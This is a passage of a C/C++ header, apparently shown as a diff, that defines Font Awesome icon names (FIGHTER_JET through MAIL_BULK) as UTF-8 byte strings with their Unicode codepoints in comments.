ICON_FA_FIGHTER_JET "\xef\x83\xbb" // U+f0fb +#define ICON_FA_FILE "\xef\x85\x9b" // U+f15b +#define ICON_FA_FILE_ALT "\xef\x85\x9c" // U+f15c +#define ICON_FA_FILE_ARCHIVE "\xef\x87\x86" // U+f1c6 +#define ICON_FA_FILE_AUDIO "\xef\x87\x87" // U+f1c7 +#define ICON_FA_FILE_CERTIFICATE "\xef\x97\xb3" // U+f5f3 +#define ICON_FA_FILE_CHART_LINE "\xef\x99\x99" // U+f659 +#define ICON_FA_FILE_CHART_PIE "\xef\x99\x9a" // U+f65a +#define ICON_FA_FILE_CHECK "\xef\x8c\x96" // U+f316 +#define ICON_FA_FILE_CODE "\xef\x87\x89" // U+f1c9 +#define ICON_FA_FILE_CONTRACT "\xef\x95\xac" // U+f56c +#define ICON_FA_FILE_CSV "\xef\x9b\x9d" // U+f6dd +#define ICON_FA_FILE_DOWNLOAD "\xef\x95\xad" // U+f56d +#define ICON_FA_FILE_EDIT "\xef\x8c\x9c" // U+f31c +#define ICON_FA_FILE_EXCEL "\xef\x87\x83" // U+f1c3 +#define ICON_FA_FILE_EXCLAMATION "\xef\x8c\x9a" // U+f31a +#define ICON_FA_FILE_EXPORT "\xef\x95\xae" // U+f56e +#define ICON_FA_FILE_IMAGE "\xef\x87\x85" // U+f1c5 +#define ICON_FA_FILE_IMPORT "\xef\x95\xaf" // U+f56f +#define ICON_FA_FILE_INVOICE "\xef\x95\xb0" // U+f570 +#define ICON_FA_FILE_INVOICE_DOLLAR "\xef\x95\xb1" // U+f571 +#define ICON_FA_FILE_MEDICAL "\xef\x91\xb7" // U+f477 +#define ICON_FA_FILE_MEDICAL_ALT "\xef\x91\xb8" // U+f478 +#define ICON_FA_FILE_MINUS "\xef\x8c\x98" // U+f318 +#define ICON_FA_FILE_MUSIC "\xef\xa2\xb6" // U+f8b6 +#define ICON_FA_FILE_PDF "\xef\x87\x81" // U+f1c1 +#define ICON_FA_FILE_PLUS "\xef\x8c\x99" // U+f319 +#define ICON_FA_FILE_POWERPOINT "\xef\x87\x84" // U+f1c4 +#define ICON_FA_FILE_PRESCRIPTION "\xef\x95\xb2" // U+f572 +#define ICON_FA_FILE_SEARCH "\xef\xa1\xa5" // U+f865 +#define ICON_FA_FILE_SIGNATURE "\xef\x95\xb3" // U+f573 +#define ICON_FA_FILE_SPREADSHEET "\xef\x99\x9b" // U+f65b +#define ICON_FA_FILE_TIMES "\xef\x8c\x97" // U+f317 +#define ICON_FA_FILE_UPLOAD "\xef\x95\xb4" // U+f574 +#define ICON_FA_FILE_USER "\xef\x99\x9c" // U+f65c +#define ICON_FA_FILE_VIDEO "\xef\x87\x88" // U+f1c8 +#define ICON_FA_FILE_WORD "\xef\x87\x82" // U+f1c2 +#define ICON_FA_FILES_MEDICAL "\xef\x9f\xbd" // U+f7fd +#define ICON_FA_FILL "\xef\x95\xb5" // U+f575 +#define ICON_FA_FILL_DRIP "\xef\x95\xb6" // U+f576 +#define ICON_FA_FILM "\xef\x80\x88" // U+f008 +#define ICON_FA_FILM_ALT "\xef\x8e\xa0" // U+f3a0 +#define ICON_FA_FILM_CANISTER "\xef\xa2\xb7" // U+f8b7 +#define ICON_FA_FILTER "\xef\x82\xb0" // U+f0b0 +#define ICON_FA_FINGERPRINT "\xef\x95\xb7" // U+f577 +#define ICON_FA_FIRE "\xef\x81\xad" // U+f06d +#define ICON_FA_FIRE_ALT "\xef\x9f\xa4" // U+f7e4 +#define ICON_FA_FIRE_EXTINGUISHER "\xef\x84\xb4" // U+f134 +#define ICON_FA_FIRE_SMOKE "\xef\x9d\x8b" // U+f74b +#define ICON_FA_FIREPLACE "\xef\x9e\x9a" // U+f79a +#define ICON_FA_FIRST_AID "\xef\x91\xb9" // U+f479 +#define ICON_FA_FISH "\xef\x95\xb8" // U+f578 +#define ICON_FA_FISH_COOKED "\xef\x9f\xbe" // U+f7fe +#define ICON_FA_FIST_RAISED "\xef\x9b\x9e" // U+f6de +#define ICON_FA_FLAG "\xef\x80\xa4" // U+f024 +#define ICON_FA_FLAG_ALT "\xef\x9d\x8c" // U+f74c +#define ICON_FA_FLAG_CHECKERED "\xef\x84\x9e" // U+f11e +#define ICON_FA_FLAG_USA "\xef\x9d\x8d" // U+f74d +#define ICON_FA_FLAME "\xef\x9b\x9f" // U+f6df +#define ICON_FA_FLASHLIGHT "\xef\xa2\xb8" // U+f8b8 +#define ICON_FA_FLASK "\xef\x83\x83" // U+f0c3 +#define ICON_FA_FLASK_POISON "\xef\x9b\xa0" // U+f6e0 +#define ICON_FA_FLASK_POTION "\xef\x9b\xa1" // U+f6e1 +#define ICON_FA_FLOWER "\xef\x9f\xbf" // U+f7ff +#define ICON_FA_FLOWER_DAFFODIL "\xef\xa0\x80" // U+f800 +#define ICON_FA_FLOWER_TULIP "\xef\xa0\x81" // U+f801 +#define ICON_FA_FLUSHED "\xef\x95\xb9" // U+f579 +#define ICON_FA_FLUTE "\xef\xa2\xb9" // U+f8b9 +#define ICON_FA_FLUX_CAPACITOR "\xef\xa2\xba" // U+f8ba +#define ICON_FA_FOG "\xef\x9d\x8e" // U+f74e +#define ICON_FA_FOLDER "\xef\x81\xbb" // U+f07b +#define ICON_FA_FOLDER_DOWNLOAD "\xee\x81\x93" // U+e053 +#define ICON_FA_FOLDER_MINUS "\xef\x99\x9d" // U+f65d +#define ICON_FA_FOLDER_OPEN "\xef\x81\xbc" // U+f07c +#define ICON_FA_FOLDER_PLUS "\xef\x99\x9e" // U+f65e +#define ICON_FA_FOLDER_TIMES "\xef\x99\x9f" // U+f65f +#define ICON_FA_FOLDER_TREE "\xef\xa0\x82" // U+f802 +#define ICON_FA_FOLDER_UPLOAD "\xee\x81\x94" // U+e054 +#define ICON_FA_FOLDERS "\xef\x99\xa0" // U+f660 +#define ICON_FA_FONT "\xef\x80\xb1" // U+f031 +#define ICON_FA_FONT_AWESOME_LOGO_FULL "\xef\x93\xa6" // U+f4e6 +#define ICON_FA_FONT_CASE "\xef\xa1\xa6" // U+f866 +#define ICON_FA_FOOTBALL_BALL "\xef\x91\x8e" // U+f44e +#define ICON_FA_FOOTBALL_HELMET "\xef\x91\x8f" // U+f44f +#define ICON_FA_FORKLIFT "\xef\x91\xba" // U+f47a +#define ICON_FA_FORWARD "\xef\x81\x8e" // U+f04e +#define ICON_FA_FRAGILE "\xef\x92\xbb" // U+f4bb +#define ICON_FA_FRENCH_FRIES "\xef\xa0\x83" // U+f803 +#define ICON_FA_FROG "\xef\x94\xae" // U+f52e +#define ICON_FA_FROSTY_HEAD "\xef\x9e\x9b" // U+f79b +#define ICON_FA_FROWN "\xef\x84\x99" // U+f119 +#define ICON_FA_FROWN_OPEN "\xef\x95\xba" // U+f57a +#define ICON_FA_FUNCTION "\xef\x99\xa1" // U+f661 +#define ICON_FA_FUNNEL_DOLLAR "\xef\x99\xa2" // U+f662 +#define ICON_FA_FUTBOL "\xef\x87\xa3" // U+f1e3 +#define ICON_FA_GALAXY "\xee\x80\x88" // U+e008 +#define ICON_FA_GAME_BOARD "\xef\xa1\xa7" // U+f867 +#define ICON_FA_GAME_BOARD_ALT "\xef\xa1\xa8" // U+f868 +#define ICON_FA_GAME_CONSOLE_HANDHELD "\xef\xa2\xbb" // U+f8bb +#define ICON_FA_GAMEPAD "\xef\x84\x9b" // U+f11b +#define ICON_FA_GAMEPAD_ALT "\xef\xa2\xbc" // U+f8bc +#define ICON_FA_GARAGE "\xee\x80\x89" // U+e009 +#define ICON_FA_GARAGE_CAR "\xee\x80\x8a" // U+e00a +#define ICON_FA_GARAGE_OPEN "\xee\x80\x8b" // U+e00b +#define ICON_FA_GAS_PUMP "\xef\x94\xaf" // U+f52f +#define ICON_FA_GAS_PUMP_SLASH "\xef\x97\xb4" // U+f5f4 +#define ICON_FA_GAVEL "\xef\x83\xa3" // U+f0e3 +#define ICON_FA_GEM "\xef\x8e\xa5" // U+f3a5 +#define ICON_FA_GENDERLESS "\xef\x88\xad" // U+f22d +#define ICON_FA_GHOST "\xef\x9b\xa2" // U+f6e2 +#define ICON_FA_GIFT "\xef\x81\xab" // U+f06b +#define ICON_FA_GIFT_CARD "\xef\x99\xa3" // U+f663 +#define ICON_FA_GIFTS "\xef\x9e\x9c" // U+f79c +#define ICON_FA_GINGERBREAD_MAN "\xef\x9e\x9d" // U+f79d +#define ICON_FA_GLASS "\xef\xa0\x84" // U+f804 +#define ICON_FA_GLASS_CHAMPAGNE "\xef\x9e\x9e" // U+f79e +#define ICON_FA_GLASS_CHEERS "\xef\x9e\x9f" // U+f79f +#define ICON_FA_GLASS_CITRUS "\xef\xa1\xa9" // U+f869 +#define ICON_FA_GLASS_MARTINI "\xef\x80\x80" // U+f000 +#define ICON_FA_GLASS_MARTINI_ALT "\xef\x95\xbb" // U+f57b +#define ICON_FA_GLASS_WHISKEY "\xef\x9e\xa0" // U+f7a0 +#define ICON_FA_GLASS_WHISKEY_ROCKS "\xef\x9e\xa1" // U+f7a1 +#define ICON_FA_GLASSES "\xef\x94\xb0" // U+f530 +#define ICON_FA_GLASSES_ALT "\xef\x97\xb5" // U+f5f5 +#define ICON_FA_GLOBE "\xef\x82\xac" // U+f0ac +#define ICON_FA_GLOBE_AFRICA "\xef\x95\xbc" // U+f57c +#define ICON_FA_GLOBE_AMERICAS "\xef\x95\xbd" // U+f57d +#define ICON_FA_GLOBE_ASIA "\xef\x95\xbe" // U+f57e +#define ICON_FA_GLOBE_EUROPE "\xef\x9e\xa2" // U+f7a2 +#define ICON_FA_GLOBE_SNOW "\xef\x9e\xa3" // U+f7a3 +#define ICON_FA_GLOBE_STAND "\xef\x97\xb6" // U+f5f6 +#define ICON_FA_GOLF_BALL "\xef\x91\x90" // U+f450 +#define ICON_FA_GOLF_CLUB "\xef\x91\x91" // U+f451 +#define ICON_FA_GOPURAM "\xef\x99\xa4" // U+f664 +#define ICON_FA_GRADUATION_CAP "\xef\x86\x9d" // U+f19d +#define ICON_FA_GRAMOPHONE "\xef\xa2\xbd" // U+f8bd +#define ICON_FA_GREATER_THAN "\xef\x94\xb1" // U+f531 +#define ICON_FA_GREATER_THAN_EQUAL "\xef\x94\xb2" // U+f532 +#define ICON_FA_GRIMACE "\xef\x95\xbf" // U+f57f +#define ICON_FA_GRIN "\xef\x96\x80" // U+f580 +#define ICON_FA_GRIN_ALT "\xef\x96\x81" // U+f581 +#define ICON_FA_GRIN_BEAM "\xef\x96\x82" // U+f582 +#define ICON_FA_GRIN_BEAM_SWEAT "\xef\x96\x83" // U+f583 +#define ICON_FA_GRIN_HEARTS "\xef\x96\x84" // U+f584 +#define ICON_FA_GRIN_SQUINT "\xef\x96\x85" // U+f585 +#define ICON_FA_GRIN_SQUINT_TEARS "\xef\x96\x86" // U+f586 +#define ICON_FA_GRIN_STARS "\xef\x96\x87" // U+f587 +#define ICON_FA_GRIN_TEARS "\xef\x96\x88" // U+f588 +#define ICON_FA_GRIN_TONGUE "\xef\x96\x89" // U+f589 +#define ICON_FA_GRIN_TONGUE_SQUINT "\xef\x96\x8a" // U+f58a +#define ICON_FA_GRIN_TONGUE_WINK "\xef\x96\x8b" // U+f58b +#define ICON_FA_GRIN_WINK "\xef\x96\x8c" // U+f58c +#define ICON_FA_GRIP_HORIZONTAL "\xef\x96\x8d" // U+f58d +#define ICON_FA_GRIP_LINES "\xef\x9e\xa4" // U+f7a4 +#define ICON_FA_GRIP_LINES_VERTICAL "\xef\x9e\xa5" // U+f7a5 +#define ICON_FA_GRIP_VERTICAL "\xef\x96\x8e" // U+f58e +#define ICON_FA_GUITAR "\xef\x9e\xa6" // U+f7a6 +#define ICON_FA_GUITAR_ELECTRIC "\xef\xa2\xbe" // U+f8be +#define ICON_FA_GUITARS "\xef\xa2\xbf" // U+f8bf +#define ICON_FA_H_SQUARE "\xef\x83\xbd" // U+f0fd +#define ICON_FA_H1 "\xef\x8c\x93" // U+f313 +#define ICON_FA_H2 "\xef\x8c\x94" // U+f314 +#define ICON_FA_H3 "\xef\x8c\x95" // U+f315 +#define ICON_FA_H4 "\xef\xa1\xaa" // U+f86a +#define ICON_FA_HAMBURGER "\xef\xa0\x85" // U+f805 +#define ICON_FA_HAMMER "\xef\x9b\xa3" // U+f6e3 +#define ICON_FA_HAMMER_WAR "\xef\x9b\xa4" // U+f6e4 +#define ICON_FA_HAMSA "\xef\x99\xa5" // U+f665 +#define ICON_FA_HAND_HEART "\xef\x92\xbc" // U+f4bc +#define ICON_FA_HAND_HOLDING "\xef\x92\xbd" // U+f4bd +#define ICON_FA_HAND_HOLDING_BOX "\xef\x91\xbb" // U+f47b +#define ICON_FA_HAND_HOLDING_HEART "\xef\x92\xbe" // U+f4be +#define ICON_FA_HAND_HOLDING_MAGIC "\xef\x9b\xa5" // U+f6e5 +#define ICON_FA_HAND_HOLDING_MEDICAL "\xee\x81\x9c" // U+e05c +#define ICON_FA_HAND_HOLDING_SEEDLING "\xef\x92\xbf" // U+f4bf +#define ICON_FA_HAND_HOLDING_USD "\xef\x93\x80" // U+f4c0 +#define ICON_FA_HAND_HOLDING_WATER "\xef\x93\x81" // U+f4c1 +#define ICON_FA_HAND_LIZARD "\xef\x89\x98" // U+f258 +#define ICON_FA_HAND_MIDDLE_FINGER "\xef\xa0\x86" // U+f806 +#define ICON_FA_HAND_PAPER "\xef\x89\x96" // U+f256 +#define ICON_FA_HAND_PEACE "\xef\x89\x9b" // U+f25b +#define ICON_FA_HAND_POINT_DOWN "\xef\x82\xa7" // U+f0a7 +#define ICON_FA_HAND_POINT_LEFT "\xef\x82\xa5" // U+f0a5 +#define ICON_FA_HAND_POINT_RIGHT "\xef\x82\xa4" // U+f0a4 +#define ICON_FA_HAND_POINT_UP "\xef\x82\xa6" // U+f0a6 +#define ICON_FA_HAND_POINTER "\xef\x89\x9a" // U+f25a +#define ICON_FA_HAND_RECEIVING "\xef\x91\xbc" // U+f47c +#define ICON_FA_HAND_ROCK "\xef\x89\x95" // U+f255 +#define ICON_FA_HAND_SCISSORS "\xef\x89\x97" // U+f257 +#define ICON_FA_HAND_SPARKLES "\xee\x81\x9d" // U+e05d +#define ICON_FA_HAND_SPOCK "\xef\x89\x99" // U+f259 +#define ICON_FA_HANDS "\xef\x93\x82" // U+f4c2 +#define ICON_FA_HANDS_HEART "\xef\x93\x83" // U+f4c3 +#define ICON_FA_HANDS_HELPING "\xef\x93\x84" // U+f4c4 +#define ICON_FA_HANDS_USD "\xef\x93\x85" // U+f4c5 +#define ICON_FA_HANDS_WASH "\xee\x81\x9e" // U+e05e +#define ICON_FA_HANDSHAKE "\xef\x8a\xb5" // U+f2b5 +#define ICON_FA_HANDSHAKE_ALT "\xef\x93\x86" // U+f4c6 +#define ICON_FA_HANDSHAKE_ALT_SLASH "\xee\x81\x9f" // U+e05f +#define ICON_FA_HANDSHAKE_SLASH "\xee\x81\xa0" // U+e060 +#define ICON_FA_HANUKIAH "\xef\x9b\xa6" // U+f6e6 +#define ICON_FA_HARD_HAT "\xef\xa0\x87" // U+f807 +#define ICON_FA_HASHTAG "\xef\x8a\x92" // U+f292 +#define ICON_FA_HAT_CHEF "\xef\xa1\xab" // U+f86b +#define ICON_FA_HAT_COWBOY "\xef\xa3\x80" // U+f8c0 +#define ICON_FA_HAT_COWBOY_SIDE "\xef\xa3\x81" // U+f8c1 +#define ICON_FA_HAT_SANTA "\xef\x9e\xa7" // U+f7a7 +#define ICON_FA_HAT_WINTER "\xef\x9e\xa8" // U+f7a8 +#define ICON_FA_HAT_WITCH "\xef\x9b\xa7" // U+f6e7 +#define ICON_FA_HAT_WIZARD "\xef\x9b\xa8" // U+f6e8 +#define ICON_FA_HDD "\xef\x82\xa0" // U+f0a0 +#define ICON_FA_HEAD_SIDE "\xef\x9b\xa9" // U+f6e9 +#define ICON_FA_HEAD_SIDE_BRAIN "\xef\xa0\x88" // U+f808 +#define ICON_FA_HEAD_SIDE_COUGH "\xee\x81\xa1" // U+e061 +#define ICON_FA_HEAD_SIDE_COUGH_SLASH "\xee\x81\xa2" // U+e062 +#define ICON_FA_HEAD_SIDE_HEADPHONES "\xef\xa3\x82" // U+f8c2 +#define ICON_FA_HEAD_SIDE_MASK "\xee\x81\xa3" // U+e063 +#define ICON_FA_HEAD_SIDE_MEDICAL "\xef\xa0\x89" // U+f809 +#define ICON_FA_HEAD_SIDE_VIRUS "\xee\x81\xa4" // U+e064 +#define ICON_FA_HEAD_VR "\xef\x9b\xaa" // U+f6ea +#define ICON_FA_HEADING "\xef\x87\x9c" // U+f1dc +#define ICON_FA_HEADPHONES "\xef\x80\xa5" // U+f025 +#define ICON_FA_HEADPHONES_ALT "\xef\x96\x8f" // U+f58f +#define ICON_FA_HEADSET "\xef\x96\x90" // U+f590 +#define ICON_FA_HEART "\xef\x80\x84" // U+f004 +#define ICON_FA_HEART_BROKEN "\xef\x9e\xa9" // U+f7a9 +#define ICON_FA_HEART_CIRCLE "\xef\x93\x87" // U+f4c7 +#define ICON_FA_HEART_RATE "\xef\x97\xb8" // U+f5f8 +#define ICON_FA_HEART_SQUARE "\xef\x93\x88" // U+f4c8 +#define ICON_FA_HEARTBEAT "\xef\x88\x9e" // U+f21e +#define ICON_FA_HEAT "\xee\x80\x8c" // U+e00c +#define ICON_FA_HELICOPTER "\xef\x94\xb3" // U+f533 +#define ICON_FA_HELMET_BATTLE "\xef\x9b\xab" // U+f6eb +#define ICON_FA_HEXAGON "\xef\x8c\x92" // U+f312 +#define ICON_FA_HIGHLIGHTER "\xef\x96\x91" // U+f591 +#define ICON_FA_HIKING "\xef\x9b\xac" // U+f6ec +#define ICON_FA_HIPPO "\xef\x9b\xad" // U+f6ed +#define ICON_FA_HISTORY "\xef\x87\x9a" // U+f1da +#define ICON_FA_HOCKEY_MASK "\xef\x9b\xae" // U+f6ee +#define ICON_FA_HOCKEY_PUCK "\xef\x91\x93" // U+f453 +#define ICON_FA_HOCKEY_STICKS "\xef\x91\x94" // U+f454 +#define ICON_FA_HOLLY_BERRY "\xef\x9e\xaa" // U+f7aa +#define ICON_FA_HOME "\xef\x80\x95" // U+f015 +#define ICON_FA_HOME_ALT "\xef\xa0\x8a" // U+f80a +#define ICON_FA_HOME_HEART "\xef\x93\x89" // U+f4c9 +#define ICON_FA_HOME_LG "\xef\xa0\x8b" // U+f80b +#define ICON_FA_HOME_LG_ALT "\xef\xa0\x8c" // U+f80c +#define ICON_FA_HOOD_CLOAK "\xef\x9b\xaf" // U+f6ef +#define ICON_FA_HORIZONTAL_RULE "\xef\xa1\xac" // U+f86c +#define ICON_FA_HORSE "\xef\x9b\xb0" // U+f6f0 +#define ICON_FA_HORSE_HEAD "\xef\x9e\xab" // U+f7ab +#define ICON_FA_HORSE_SADDLE "\xef\xa3\x83" // U+f8c3 +#define ICON_FA_HOSPITAL "\xef\x83\xb8" // U+f0f8 +#define ICON_FA_HOSPITAL_ALT "\xef\x91\xbd" // U+f47d +#define ICON_FA_HOSPITAL_SYMBOL "\xef\x91\xbe" // U+f47e +#define ICON_FA_HOSPITAL_USER "\xef\xa0\x8d" // U+f80d +#define ICON_FA_HOSPITALS "\xef\xa0\x8e" // U+f80e +#define ICON_FA_HOT_TUB "\xef\x96\x93" // U+f593 +#define ICON_FA_HOTDOG "\xef\xa0\x8f" // U+f80f +#define ICON_FA_HOTEL "\xef\x96\x94" // U+f594 +#define ICON_FA_HOURGLASS "\xef\x89\x94" // U+f254 +#define ICON_FA_HOURGLASS_END "\xef\x89\x93" // U+f253 +#define ICON_FA_HOURGLASS_HALF "\xef\x89\x92" // U+f252 +#define ICON_FA_HOURGLASS_START "\xef\x89\x91" // U+f251 +#define ICON_FA_HOUSE "\xee\x80\x8d" // U+e00d +#define ICON_FA_HOUSE_DAMAGE "\xef\x9b\xb1" // U+f6f1 +#define ICON_FA_HOUSE_DAY "\xee\x80\x8e" // U+e00e +#define ICON_FA_HOUSE_FLOOD "\xef\x9d\x8f" // U+f74f +#define ICON_FA_HOUSE_LEAVE "\xee\x80\x8f" // U+e00f +#define ICON_FA_HOUSE_NIGHT "\xee\x80\x90" // U+e010 +#define ICON_FA_HOUSE_RETURN "\xee\x80\x91" // U+e011 +#define ICON_FA_HOUSE_SIGNAL "\xee\x80\x92" // U+e012 +#define ICON_FA_HOUSE_USER "\xee\x81\xa5" // U+e065 +#define ICON_FA_HRYVNIA "\xef\x9b\xb2" // U+f6f2 +#define ICON_FA_HUMIDITY "\xef\x9d\x90" // U+f750 +#define ICON_FA_HURRICANE "\xef\x9d\x91" // U+f751 +#define ICON_FA_I_CURSOR "\xef\x89\x86" // U+f246 +#define ICON_FA_ICE_CREAM "\xef\xa0\x90" // U+f810 +#define ICON_FA_ICE_SKATE "\xef\x9e\xac" // U+f7ac +#define ICON_FA_ICICLES "\xef\x9e\xad" // U+f7ad +#define ICON_FA_ICONS "\xef\xa1\xad" // U+f86d +#define ICON_FA_ICONS_ALT "\xef\xa1\xae" // U+f86e +#define ICON_FA_ID_BADGE "\xef\x8b\x81" // U+f2c1 +#define ICON_FA_ID_CARD "\xef\x8b\x82" // U+f2c2 +#define ICON_FA_ID_CARD_ALT "\xef\x91\xbf" // U+f47f +#define ICON_FA_IGLOO "\xef\x9e\xae" // U+f7ae +#define ICON_FA_IMAGE "\xef\x80\xbe" // U+f03e +#define ICON_FA_IMAGE_POLAROID "\xef\xa3\x84" // U+f8c4 +#define ICON_FA_IMAGES "\xef\x8c\x82" // U+f302 +#define ICON_FA_INBOX "\xef\x80\x9c" // U+f01c +#define ICON_FA_INBOX_IN "\xef\x8c\x90" // U+f310 +#define ICON_FA_INBOX_OUT "\xef\x8c\x91" // U+f311 +#define ICON_FA_INDENT "\xef\x80\xbc" // U+f03c +#define ICON_FA_INDUSTRY "\xef\x89\xb5" // U+f275 +#define ICON_FA_INDUSTRY_ALT "\xef\x8e\xb3" // U+f3b3 +#define ICON_FA_INFINITY "\xef\x94\xb4" // U+f534 +#define ICON_FA_INFO "\xef\x84\xa9" // U+f129 +#define ICON_FA_INFO_CIRCLE "\xef\x81\x9a" // U+f05a +#define ICON_FA_INFO_SQUARE "\xef\x8c\x8f" // U+f30f +#define ICON_FA_INHALER "\xef\x97\xb9" // U+f5f9 +#define ICON_FA_INTEGRAL "\xef\x99\xa7" // U+f667 +#define ICON_FA_INTERSECTION "\xef\x99\xa8" // U+f668 +#define ICON_FA_INVENTORY "\xef\x92\x80" // U+f480 +#define ICON_FA_ISLAND_TROPICAL "\xef\xa0\x91" // U+f811 +#define ICON_FA_ITALIC "\xef\x80\xb3" // U+f033 +#define ICON_FA_JACK_O_LANTERN "\xef\x8c\x8e" // U+f30e +#define ICON_FA_JEDI "\xef\x99\xa9" // U+f669 +#define ICON_FA_JOINT "\xef\x96\x95" // U+f595 +#define ICON_FA_JOURNAL_WHILLS "\xef\x99\xaa" // U+f66a +#define ICON_FA_JOYSTICK "\xef\xa3\x85" // U+f8c5 +#define ICON_FA_JUG "\xef\xa3\x86" // U+f8c6 +#define ICON_FA_KAABA "\xef\x99\xab" // U+f66b +#define ICON_FA_KAZOO "\xef\xa3\x87" // U+f8c7 +#define ICON_FA_KERNING "\xef\xa1\xaf" // U+f86f +#define ICON_FA_KEY "\xef\x82\x84" // U+f084 +#define ICON_FA_KEY_SKELETON "\xef\x9b\xb3" // U+f6f3 +#define ICON_FA_KEYBOARD "\xef\x84\x9c" // U+f11c +#define ICON_FA_KEYNOTE "\xef\x99\xac" // U+f66c +#define ICON_FA_KHANDA "\xef\x99\xad" // U+f66d +#define ICON_FA_KIDNEYS "\xef\x97\xbb" // U+f5fb +#define ICON_FA_KISS "\xef\x96\x96" // U+f596 +#define ICON_FA_KISS_BEAM "\xef\x96\x97" // U+f597 +#define ICON_FA_KISS_WINK_HEART "\xef\x96\x98" // U+f598 +#define ICON_FA_KITE "\xef\x9b\xb4" // U+f6f4 +#define ICON_FA_KIWI_BIRD "\xef\x94\xb5" // U+f535 +#define ICON_FA_KNIFE_KITCHEN "\xef\x9b\xb5" // U+f6f5 +#define ICON_FA_LAMBDA "\xef\x99\xae" // U+f66e +#define ICON_FA_LAMP "\xef\x93\x8a" // U+f4ca +#define ICON_FA_LAMP_DESK "\xee\x80\x94" // U+e014 +#define ICON_FA_LAMP_FLOOR "\xee\x80\x95" // U+e015 +#define ICON_FA_LANDMARK "\xef\x99\xaf" // U+f66f +#define ICON_FA_LANDMARK_ALT "\xef\x9d\x92" // U+f752 +#define ICON_FA_LANGUAGE "\xef\x86\xab" // U+f1ab +#define ICON_FA_LAPTOP "\xef\x84\x89" // U+f109 +#define ICON_FA_LAPTOP_CODE "\xef\x97\xbc" // U+f5fc +#define ICON_FA_LAPTOP_HOUSE "\xee\x81\xa6" // U+e066 +#define ICON_FA_LAPTOP_MEDICAL "\xef\xa0\x92" // U+f812 +#define ICON_FA_LASSO "\xef\xa3\x88" // U+f8c8 +#define ICON_FA_LAUGH "\xef\x96\x99" // U+f599 +#define ICON_FA_LAUGH_BEAM "\xef\x96\x9a" // U+f59a +#define ICON_FA_LAUGH_SQUINT "\xef\x96\x9b" // U+f59b +#define ICON_FA_LAUGH_WINK "\xef\x96\x9c" // U+f59c +#define ICON_FA_LAYER_GROUP "\xef\x97\xbd" // U+f5fd +#define ICON_FA_LAYER_MINUS "\xef\x97\xbe" // U+f5fe +#define ICON_FA_LAYER_PLUS "\xef\x97\xbf" // U+f5ff +#define ICON_FA_LEAF "\xef\x81\xac" // U+f06c +#define ICON_FA_LEAF_HEART "\xef\x93\x8b" // U+f4cb +#define ICON_FA_LEAF_MAPLE "\xef\x9b\xb6" // U+f6f6 +#define ICON_FA_LEAF_OAK "\xef\x9b\xb7" // U+f6f7 +#define ICON_FA_LEMON "\xef\x82\x94" // U+f094 +#define ICON_FA_LESS_THAN "\xef\x94\xb6" // U+f536 +#define ICON_FA_LESS_THAN_EQUAL "\xef\x94\xb7" // U+f537 +#define ICON_FA_LEVEL_DOWN "\xef\x85\x89" // U+f149 +#define ICON_FA_LEVEL_DOWN_ALT "\xef\x8e\xbe" // U+f3be +#define ICON_FA_LEVEL_UP "\xef\x85\x88" // U+f148 +#define ICON_FA_LEVEL_UP_ALT "\xef\x8e\xbf" // U+f3bf +#define ICON_FA_LIFE_RING "\xef\x87\x8d" // U+f1cd +#define ICON_FA_LIGHT_CEILING "\xee\x80\x96" // U+e016 +#define ICON_FA_LIGHT_SWITCH "\xee\x80\x97" // U+e017 +#define ICON_FA_LIGHT_SWITCH_OFF "\xee\x80\x98" // U+e018 +#define ICON_FA_LIGHT_SWITCH_ON "\xee\x80\x99" // U+e019 +#define ICON_FA_LIGHTBULB "\xef\x83\xab" // U+f0eb +#define ICON_FA_LIGHTBULB_DOLLAR "\xef\x99\xb0" // U+f670 +#define ICON_FA_LIGHTBULB_EXCLAMATION "\xef\x99\xb1" // U+f671 +#define ICON_FA_LIGHTBULB_ON "\xef\x99\xb2" // U+f672 +#define ICON_FA_LIGHTBULB_SLASH "\xef\x99\xb3" // U+f673 +#define ICON_FA_LIGHTS_HOLIDAY "\xef\x9e\xb2" // U+f7b2 +#define ICON_FA_LINE_COLUMNS "\xef\xa1\xb0" // U+f870 +#define ICON_FA_LINE_HEIGHT "\xef\xa1\xb1" // U+f871 +#define ICON_FA_LINK "\xef\x83\x81" // U+f0c1 +#define ICON_FA_LIPS "\xef\x98\x80" // U+f600 +#define ICON_FA_LIRA_SIGN "\xef\x86\x95" // U+f195 +#define ICON_FA_LIST "\xef\x80\xba" // U+f03a +#define ICON_FA_LIST_ALT "\xef\x80\xa2" // U+f022 +#define ICON_FA_LIST_MUSIC "\xef\xa3\x89" // U+f8c9 +#define ICON_FA_LIST_OL "\xef\x83\x8b" // U+f0cb +#define ICON_FA_LIST_UL "\xef\x83\x8a" // U+f0ca +#define ICON_FA_LOCATION "\xef\x98\x81" // U+f601 +#define ICON_FA_LOCATION_ARROW "\xef\x84\xa4" // U+f124 +#define ICON_FA_LOCATION_CIRCLE "\xef\x98\x82" // U+f602 +#define ICON_FA_LOCATION_SLASH "\xef\x98\x83" // U+f603 +#define ICON_FA_LOCK "\xef\x80\xa3" // U+f023 +#define ICON_FA_LOCK_ALT "\xef\x8c\x8d" // U+f30d +#define ICON_FA_LOCK_OPEN "\xef\x8f\x81" // U+f3c1 +#define ICON_FA_LOCK_OPEN_ALT "\xef\x8f\x82" // U+f3c2 +#define ICON_FA_LONG_ARROW_ALT_DOWN "\xef\x8c\x89" // U+f309 +#define ICON_FA_LONG_ARROW_ALT_LEFT "\xef\x8c\x8a" // U+f30a +#define ICON_FA_LONG_ARROW_ALT_RIGHT "\xef\x8c\x8b" // U+f30b +#define ICON_FA_LONG_ARROW_ALT_UP "\xef\x8c\x8c" // U+f30c +#define ICON_FA_LONG_ARROW_DOWN "\xef\x85\xb5" // U+f175 +#define ICON_FA_LONG_ARROW_LEFT "\xef\x85\xb7" // U+f177 +#define ICON_FA_LONG_ARROW_RIGHT "\xef\x85\xb8" // U+f178 +#define ICON_FA_LONG_ARROW_UP "\xef\x85\xb6" // U+f176 +#define ICON_FA_LOVESEAT "\xef\x93\x8c" // U+f4cc +#define ICON_FA_LOW_VISION "\xef\x8a\xa8" // U+f2a8 +#define ICON_FA_LUCHADOR "\xef\x91\x95" // U+f455 +#define ICON_FA_LUGGAGE_CART "\xef\x96\x9d" // U+f59d +#define ICON_FA_LUNGS "\xef\x98\x84" // U+f604 +#define ICON_FA_LUNGS_VIRUS "\xee\x81\xa7" // U+e067 +#define ICON_FA_MACE "\xef\x9b\xb8" // U+f6f8 +#define ICON_FA_MAGIC "\xef\x83\x90" // U+f0d0 +#define ICON_FA_MAGNET "\xef\x81\xb6" // U+f076 +#define ICON_FA_MAIL_BULK "\xef\x99\xb4" // 